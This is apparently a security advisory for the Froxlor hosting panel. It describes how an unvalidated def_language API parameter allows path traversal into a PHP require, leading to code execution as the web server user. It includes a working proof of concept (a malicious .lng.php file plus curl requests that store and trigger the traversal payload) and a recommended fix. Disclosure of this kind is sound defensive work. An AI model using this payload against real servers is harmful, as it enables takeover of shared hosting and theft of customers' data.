Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the def_language parameter.

The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:

// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        'id' => $userinfo['customerid'],
        'def_language' => $def_language
    ])->update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:

// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this->getParam('def_language', true, $result['def_language']);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);

The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222):

private function initLang()
{
    Language::setLanguage(Settings::Get('panel.standardlanguage'));
    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
        Language::setLanguage($this->getUserDetail('language'));
    } elseif ($this->getUserDetail('def_language') !== null) {
        Language::setLanguage($this->getUserDetail('def_language')); // No validation
    }
}

Web path (init.php:180-185):

if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
        Language::setLanguage(CurrentUser::getField('language'));
    } else {
        Language::setLanguage(CurrentUser::getField('def_language')); // No validation
    }
}

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.

File inclusion (Language.php:89-98):

private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).

# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

curl -s -X POST https://panel.example.com/api \
  -H 'Authorization: Basic <base64(apikey:apisecret)>' \
  -d '{"command":"Customers.get"}'

ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

• Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.
• Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
• Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
• Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:

// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);

// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get('panel.standardlanguage');
}

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, '..')) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
    // ...
}

References

• GHSA-w59f-67xm-rxx7